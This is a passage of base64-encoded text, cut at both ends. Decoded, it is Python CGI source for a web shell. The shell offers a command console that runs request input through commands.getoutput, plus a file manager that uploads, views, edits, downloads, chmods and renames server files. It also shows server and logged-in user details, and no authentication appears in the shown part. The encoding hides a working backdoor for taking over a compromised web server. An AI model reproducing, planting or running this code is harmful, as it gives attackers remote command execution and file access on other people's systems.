zFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpXCc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7CiAgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGVmIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0